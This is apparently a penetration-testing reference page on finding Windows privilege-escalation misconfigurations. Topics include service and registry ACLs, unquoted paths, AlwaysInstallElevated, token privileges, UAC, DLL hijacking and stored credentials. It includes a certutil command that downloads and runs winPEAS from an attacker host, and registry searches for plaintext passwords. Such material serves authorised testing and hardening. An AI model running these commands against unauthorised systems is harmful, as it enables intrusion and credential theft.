# Windows Privilege Escalation Vulnerability Discovery > Identifies misconfigurations and weaknesses in Windows environments to escalate privileges, covering token abuse, service exploits, and ACL flaws. - **URL:** https://hackindex.io/platforms/windows/vulnerability-discovery/windows-privilege-escalation-vulnerability-discovery - **Path:** Windows > Vulnerability Discovery - **Up:** [Vulnerability Discovery](https://hackindex.io/platforms/windows/vulnerability-discovery.md) - **Published:** 2026-05-06 - **Updated:** 2026-07-10 This page focuses on confirming specific misconfigurations before exploiting them. Run these checks from a low-privileged shell: a standard user or service account. The goal is to prove what is exploitable, not to use it yet. ## **Automated Enumeration** Run an automated tool first to surface everything quickly, then manually confirm high-confidence findings. **winPEAS** is the most comprehensive Windows privilege escalation scanner. Run it and redirect output to a file: the terminal output is too fast to read: On Kali: `/usr/share/peass/winpeas/winPEASx64.exe` ```bash # Serve winPEAS from attacker python3 -m http.server 8080 ``` ```bash # Download and run on target certutil -urlcache -split -f http://$LHOST:8080/winPEASx64.exe C:\Windows\Temp\wp.exe C:\Windows\Temp\wp.exe > C:\Windows\Temp\wp_out.txt 2>&1 type C:\Windows\Temp\wp_out.txt ``` winPEAS writes color codes to console: redirect with `> file.txt` to read cleanly. Focus on the red and yellow findings. **PowerUp** (PowerSploit) performs checks specifically for service, registry, and path misconfigurations that lead to SYSTEM: On Kali: `/usr/share/windows-resources/powersploit/Privesc/PowerUp.ps1` ```powershell powershell -ep bypass -c "Import-Module C:\Windows\Temp\PowerUp.ps1; Invoke-AllChecks" ``` ## **Weak Service Permissions** A service running as SYSTEM that a low-privileged user can reconfigure or whose binary they can overwrite is a direct path to privilege escalation. **Check service binary permissions**: can you write to the executable the service runs? ```powershell # Get all service binary paths and check write access Get-WmiObject Win32_Service | Select-Object Name, StartName, PathName | Where-Object { $_.PathName -notlike "*system32*" } ``` Use `accesschk` from Sysinternals to verify actual ACLs: ```bash accesschk.exe -uwcqv "Authenticated Users" * /accepteula accesschk.exe -uwcqv "Everyone" * /accepteula accesschk.exe -uwcqv $USER * /accepteula ``` `SERVICE_ALL_ACCESS` or `SERVICE_CHANGE_CONFIG` returned for a service your user owns = exploitable. Cross-check the service account: if it runs as `LocalSystem` or a privileged account, that service is the target. **Check service binary file ACLs** directly: ```bash icacls "C:\Program Files\SomeService\service.exe" ``` `(F)` (Full) or `(W)` (Write) for `BUILTIN\Users`, `Everyone`, or your user on a service binary running as SYSTEM = binary replacement attack. ## **Unquoted Service Paths** When a service `ImagePath` contains spaces and is not quoted, Windows tries each space-delimited prefix as an executable. If you can write to any of those paths, you can place a binary there. ```bash wmic service get Name,DisplayName,PathName,StartMode | findstr /i /v "c:\windows\\" | findstr /i /v """ ``` Or with PowerShell: ```powershell Get-WmiObject Win32_Service | Where-Object { $_.PathName -notlike '"*' -and $_.PathName -notlike 'C:\Windows\*' -and $_.PathName -like '* *' } | Select-Object Name, StartName, PathName ``` For a path like `C:\Program Files\My App\service.exe`, Windows tries: - `C:\Program.exe` - `C:\Program Files\My.exe` - `C:\Program Files\My App\service.exe` If you can write to `C:\Program Files\My App\`, place a `My.exe` there. Confirm write access first: ```bash icacls "C:\Program Files\My App" ``` ## **AlwaysInstallElevated** If both the HKLM and HKCU `AlwaysInstallElevated` keys are set to `1`, any `.msi` package runs with SYSTEM privileges: regardless of who executes it. ```bash reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated ``` Both must return `0x1` for the vulnerability to be present. If only one is set, it does not apply. ```powershell # PowerShell equivalent (Get-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer" -ErrorAction SilentlyContinue).AlwaysInstallElevated (Get-ItemProperty "HKCU:\SOFTWARE\Policies\Microsoft\Windows\Installer" -ErrorAction SilentlyContinue).AlwaysInstallElevated ``` Both returning `1` = generate a malicious MSI with msfvenom and execute it as a low-privileged user to get SYSTEM. See [AlwaysInstallElevated exploitation.](https://hackindex.io/platforms/windows/privilege-escalation/alwaysinstallelevated) ## **Token Privileges** High-value token privileges on your current session can lead to SYSTEM even without other misconfigs. Check which privileges your token holds: ```bash whoami /priv ``` ```powershell # PowerShell equivalent [System.Security.Principal.WindowsIdentity]::GetCurrent().Groups whoami /priv ``` Exploitable privileges: | Privilege | Attack | | --- | --- | | `SeImpersonatePrivilege` | Potato attacks (GodPotato, PrintSpoofer) | | `SeAssignPrimaryTokenPrivilege` | Same as SeImpersonatePrivilege | | `SeBackupPrivilege` | Read any file including SAM/NTDS.dit | | `SeRestorePrivilege` | Write any file, DLL hijack into SYSTEM paths | | `SeDebugPrivilege` | Dump LSASS memory, inject into SYSTEM processes | | `SeTakeOwnershipPrivilege` | Take ownership of any file or registry key | | `SeLoadDriverPrivilege` | Load a malicious driver | `SeImpersonatePrivilege` is the most common high-value finding. It is granted by default to IIS AppPool accounts, SQL Server service accounts, and many other service identities. See the exploitation pages: [Token Impersonation and SeImpersonatePrivilege](https://hackindex.io/platforms/windows/privilege-escalation/token-impersonation-seimpersonateprivilege-exploitation), [SeBackupPrivilege Abuse](https://hackindex.io/platforms/windows/privilege-escalation/sebackupprivilege-abuse). ## **UAC Status** UAC controls whether privileged operations require an elevation prompt. If UAC is enabled but misconfigured, a standard user process can auto-elevate without prompting. Check current UAC configuration: ```bash reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin ``` - `EnableLUA = 0`: UAC completely disabled. Any process runs as admin without prompting. - `ConsentPromptBehaviorAdmin = 0`: Elevation happens silently for admin accounts. - `ConsentPromptBehaviorAdmin = 5`: Default: prompt on secure desktop. Also check if you are already in the local Administrators group but running as a medium-integrity token: ```bash whoami /groups | findstr "S-1-5-32-544" ``` If that SID appears with `Group used for deny only`, you have admin group membership but a filtered token: a UAC bypass can elevate you to high integrity. See [UAC Bypass](https://hackindex.io/platforms/windows/privilege-escalation/uac-bypass). ## **Writable PATH Directories** If a directory writable by your user appears early in the `%PATH%`, placing an executable there that shadows a system binary is a privilege escalation path when a privileged process calls that binary without a full path. ```bash echo %PATH% ``` Check write access on each directory: ```bash icacls "C:\Python27" icacls "C:\Tools" ``` If any PATH entry allows user writes and a scheduled task or service runs with an unqualified command (e.g. `python script.py` without full path), you can replace `python.exe` in that directory. ## **Weak Registry Permissions on Service Keys** Service configuration is stored in the registry. If you can write to a service's registry key, you can change its binary path. ```bash accesschk.exe -uvwqk HKLM\System\CurrentControlSet\Services /accepteula ``` Or with PowerShell: ```powershell Get-Acl "HKLM:\System\CurrentControlSet\Services\VulnService" | Format-List ``` `FullControl` or `SetValue` for a non-admin user on a service key that runs as SYSTEM = change the `ImagePath` to your payload. ## **Scheduled Tasks** Scheduled tasks running as SYSTEM or a privileged account with a writable binary or script are escalation paths. ```bash schtasks /query /fo LIST /v | findstr /i "task\|run as\|status\|command" ``` ```powershell Get-ScheduledTask | Where-Object { $_.Principal.RunLevel -eq "Highest" } | Select-Object TaskName, TaskPath, @{n="Command";e={$_.Actions.Execute}} ``` For each high-privilege task, check if you can write to the binary or script it executes: ```bash icacls "C:\path\to\task\binary.exe" ``` ## **DLL Search Order Hijacking** Processes that load DLLs without a full path search directories in a predictable order. If the application directory or another early search path is writable by your user, place a malicious DLL there. Check for missing DLLs loaded by running processes using Process Monitor (Sysinternals) on a Windows lab host. In the field, check application directories for write access: ```bash icacls "C:\Program Files\SomeApp" ``` If writable, check what DLLs the application loads by examining imports: ```powershell # List DLLs loaded by a process $proc = Get-Process -Name SomeApp $proc.Modules | Select-Object ModuleName, FileName ``` DLL hijacking requires restarting the service or application: confirm you have a way to trigger a restart before placing the DLL. See [Windows DLL Hijacking](https://hackindex.io/platforms/windows/privilege-escalation/windows-dll-hijacking-for-privilege-escalation). ## **Stored Credentials** Saved credentials in the Windows Credential Manager, unattend files, and registry can give you plaintext passwords for privileged accounts without any exploitation. ```bash cmdkey /list ``` ```bash # Search common credential locations reg query HKLM /f password /t REG_SZ /s reg query HKCU /f password /t REG_SZ /s # Unattend files dir /s /b C:\sysprep.inf C:\sysprep\sysprep.xml C:\Windows\Panther\Unattend.xml C:\Windows\system32\sysprep\unattend.xml 2>nul ``` Plaintext credentials in any of these = direct privilege escalation via `runas` or Impacket tools. See [Stored Credential Abuse](https://hackindex.io/platforms/windows/privilege-escalation/runas-stored-credentials).